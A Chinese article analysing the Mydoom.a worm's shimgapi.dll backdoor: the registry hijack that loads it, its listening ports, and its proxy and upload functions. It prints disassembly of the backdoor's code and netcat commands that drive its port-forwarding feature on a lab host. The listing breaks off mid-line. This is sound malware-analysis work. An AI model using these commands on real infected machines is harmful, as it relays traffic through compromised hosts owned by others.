分享
 
 
 

对Mydoom.a的shimgapi.dll的分析

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

Mydoom.a的后门是以dll形式存在的,通过修改注册表相应键值,将自己加载到资源管理器的进程空间中。

正常情况下,注册表应该是这个样子的:

HKEY_CLASSES_ROOTCLSID{E6FB5E20-DE35-11CF-9C87-00AA005127ED}InProcServer32

<NO NAME REG_EXPAND_SZ %SystemRoot%System32webcheck.dll

ThreadingModel REG_SZ Apartment

而Mydoom.a将该处的%SystemRoot%System32webcheck.dll替换成自己的shimgapi.dll。

默认情况下,shimgapi.dll后门监听3127端口,如果该端口被占用,则递增,但不大于3198。

该后门提供了两个功能:

1、作为端口转发代理

2、作为后门,接收程序上传并执行

相关代码:

.text:7E1A1C44 sub_7E1A1C44 proc near ; DATA XREF: start+19o

.text:7E1A1C44

.text:7E1A1C44 WSAData = WSAData ptr -190h

.text:7E1A1C44

.text:7E1A1C44 sub esp, 190h

.text:7E1A1C4A push esi

.text:7E1A1C4B push edi

.text:7E1A1C4C call sub_7E1A1A1F

.text:7E1A1C51 lea eax, [esp+198h+WSAData]

.text:7E1A1C55 push eax ; lpWSAData

.text:7E1A1C56 push 2 ; wVersionRequested

.text:7E1A1C58 call ds:WSAStartup

.text:7E1A1C5E call Address

.text:7E1A1C63 mov edi, ds:Sleep

.text:7E1A1C69 mov esi, 0C37h ; 监听3127端口

.text:7E1A1C6E

.text:7E1A1C6E loc_7E1A1C6E: ; CODE XREF: sub_7E1A1C44+50j

.text:7E1A1C6E push 3

.text:7E1A1C70 push esi

.text:7E1A1C71 call sub_7E1A1B52 ; bind子程序

.text:7E1A1C76 pop ecx

.text:7E1A1C77 pop ecx

.text:7E1A1C78 push 400h ; dwMilliseconds

.text:7E1A1C7D call edi ; Sleep

.text:7E1A1C7F cmp esi, 0C7Eh ; 端口不大于3198

.text:7E1A1C85 jle short loc_7E1A1C93

.text:7E1A1C87 push 800h ; dwMilliseconds

.text:7E1A1C8C call edi ; Sleep

.text:7E1A1C8E mov esi, 0C37h

.text:7E1A1C93

.text:7E1A1C93 loc_7E1A1C93: ; CODE XREF: sub_7E1A1C44+41j

.text:7E1A1C93 inc esi ; 如果端口大于3198则减1后重新bind

.text:7E1A1C94 jmp short loc_7E1A1C6E

.text:7E1A1C94 sub_7E1A1C44 endp

当3127端口收到连接之后,如果recv的第一个字符是x04,转入端口转发流程 -- 判断第二个字符是否是0x01 -- 取第5~8四个字符作为目标IP地址 -- 取3、4两个字符作为目标端口 -- 进行连接并和当前socket数据转发

例如,我们以x00x6exc0xa8x01x0b作为连接指令,其中,x00x6e是110端口,xc0xa8x01x0b是192.168.1.11。

# printf x04x01x00x6exc0xa8x01x0bx00 | nc 192.168.7.33 3127

Z括 +OK Microsoft Exchange Server 2003 POP3 server version 6.5.6944.0 ready.

可以看到,发往192.168.1.11的110端口的会话被转回来了。请注意在返回的字符前面还包含了一段数据。再作测试:

# printf x04x01x00x6exc0xa8x01x0bx00 | nc 192.168.7.33 3127 | xxd -g 1

0000000: 04 5a 00 6e c0 a8 01 0b 2b 4f 4b 20 4d 69 63 72 .Z.n....+OK Micr

0000010: 6f 73 6f 66 74 20 45 78 63 68 61 6e 67 65 20 53 osoft Exchange S

0000020: 65 72 76 65 72 20 32 30 30 33 20 50 4f 50 33 20 erver 2003 POP3

0000030: 73 65 72 76 65 72 20 76 65 72 73 69 6f 6e 20 36 server version 6

0000040: 2e 35 2e 36 39 34 34 2e 30 20 28 64 63 2e 69 6e .5.6944.0

尝试发送指令连接不存在的98端口:

# printf x04x01x00x62xc0xa8x01x0bx00 | nc 192.168.7.33 3127 | xxd -g 1

0000000: 04 5b 00 62 c0 a8 01 0b .[.b....

很显然,那一段数据是表示连接状态的。04 5a表示连接成功,04 5b表示连接失败。后面的是发送过去的连接指令。这一特性可能是蠕虫作者为了方便自己的客户端判断而设计的。

相关代码:

.text:7E1A17F5

.text:7E1A17F5 loc_7E1A17F5: ; CODE XREF: sub_7E1A17BA+2Bj

.text:7E1A17F5 cmp byte ptr [ebp-1], 4 ; 比较第一个字符是不是0x04

.text:7E1A17F9 push ebx

.text:7E1A17FA jnz loc_7E1A18B7 ; 第一个字符不是0x04则转入退出

.text:7E1A1800 xor ebx, ebx

.text:7E1A1802

.text:7E1A1802 loc_7E1A1802: ; CODE XREF: sub_7E1A17BA+65j

.text:7E1A1802 push 0 ; flags

.text:7E1A1804 push 8

.text:7E1A1806 pop eax

.text:7E1A1807 sub eax, ebx

.text:7E1A1809 push eax ; len

.text:7E1A180A lea eax, [ebp+ebx+buf]

.text:7E1A180E push eax ; buf

.text:7E1A180F push [ebp+s] ; s

.text:7E1A1812 call esi ; recv

.text:7E1A1814 test eax, eax

.text:7E1A1816 jl short loc_7E1A1823

.text:7E1A1818 jz short loc_7E1A1825

.text:7E1A181A add ebx, eax

.text:7E1A181C cmp ebx, 8 ; 比较接收到的字符够不够8个

.text:7E1A181F jl short loc_7E1A1802 ; 接受到的字符数不够则继续recv

.text:7E1A1821 jmp short loc_7E1A1825

.text:7E1A1823 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?

.text:7E1A1823

.text:7E1A1823 loc_7E1A1823: ; CODE XREF: sub_7E1A17BA+5Cj

.text:7E1A1823 mov ebx, eax

.text:7E1A1825

.text:7E1A1825 loc_7E1A1825: ; CODE XREF: sub_7E1A17BA+5Ej

.text:7E1A1825 ; sub_7E1A17BA+67j

.text:7E1A1825 cmp ebx, 8

.text:7E1A1828 jnz loc_7E1A1907

.text:7E1A182E jmp short loc_7E1A1836

.text:7E1A1830 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?

.text:7E1A1830

.text:7E1A1830 loc_7E1A1830: ; CODE XREF: sub_7E1A17BA+8Cj

.text:7E1A1830 cmp [ebp+var_2], 0 ; 比较8个字符后的字符是否是0x00,也就是说是否只发送了8个字符

.text:7E1A1834 jz short loc_7E1A184A

.text:7E1A1836

.text:7E1A1836 loc_7E1A1836: ; CODE XREF: sub_7E1A17BA+74j

.text:7E1A1836 push 0

.text:7E1A1838 lea eax, [ebp+var_2]

.text:7E1A183B push 1

.text:7E1A183D push eax

.text:7E1A183E push [ebp+s]

.text:7E1A1841 call esi

.text:7E1A1843 cmp eax, 1

.text:7E1A1846 jz short loc_7E1A1830

.text:7E1A1848 jmp short loc_7E1A18B7

.text:7E1A184A ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?

.text:7E1A184A

.text:7E1A184A loc_7E1A184A: ; CODE XREF: sub_7E1A17BA+7Aj

.text:7E1A184A cmp [ebp+buf], 4 ; 再次判断第一个字符是否是0x04

.text:7E1A184E jnz short loc_7E1A18B7

.text:7E1A1850 cmp byte ptr [ebp-0Fh], 1 ; 判断第二个字符是否是0x01,如果是的,则继续,不是,则退出

.text:7E1A1854 jnz short loc_7E1A18B7

.text:7E1A1856 cmp [ebp+hostlong], 0 ; 判断末四个字符(IP)是否全0

.text:7E1A185A jz short loc_7E1A187C

.text:7E1A185C push [ebp+hostlong] ; hostlong

.text:7E1A185F call ds:htonl

.text:7E1A1865 test eax, 0FFFFFF00h ; 检查输入的IP是否是255.255.255.0

.text:7E1A186A jnz short loc_7E1A187C

.text:7E1A186C push [ebp+s]

.text:7E1A186F lea ebx, [ebp+hostlong]

.text:7E1A1872 call sub_7E1A1664

.text:7E1A1877 test eax, eax

.text:7E1A1879 pop ecx

.text:7E1A187A jnz short loc_7E1A18B7

.text:7E1A187C

.text:7E1A187C loc_7E1A187C: ; CODE XREF: sub_7E1A17BA+A0j

.text:7E1A187C ; sub_7E1A17BA+B0j

.text:7E1A187C mov ax, [ebp-0Eh] ; 取前两个字符,作为端口

.text:7E1A1880 push 6 ; protocol

.text:7E1A1882 mov word ptr [ebp+name.sa_data], ax

.text:7E1A1886 mov eax, [ebp+hostlong]

.text:7E1A1889 push 1 ; type

.text:7E1A188B push 2 ; af

.text:7E1A188D mov [ebp+name.sa_family], 2

.text:7E1A1893 mov dword ptr [ebp+name.sa_data+2], eax

.text:7E1A1896 call ds:socket

.text:7E1A189C cmp eax, 0FFFFFFFFh

.text:7E1A189F mov [ebp+var_8], eax

.text:7E1A18A2 jz short loc_7E1A18B7

.text:7E1A18A4 lea eax, [ebp+name]

.text:7E1A18A7 push 10h ; namelen

.text:7E1A18A9 push eax ; name

.text:7E1A18AA push [ebp+var_8] ; s

.text:7E1A18AD call ds:connect

.text:7E1A18B3 test eax, eax

.text:7E1A18B5 jz short loc_7E1A18D2

.text:7E1A18B7

.text:7E1A18B7 lo

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有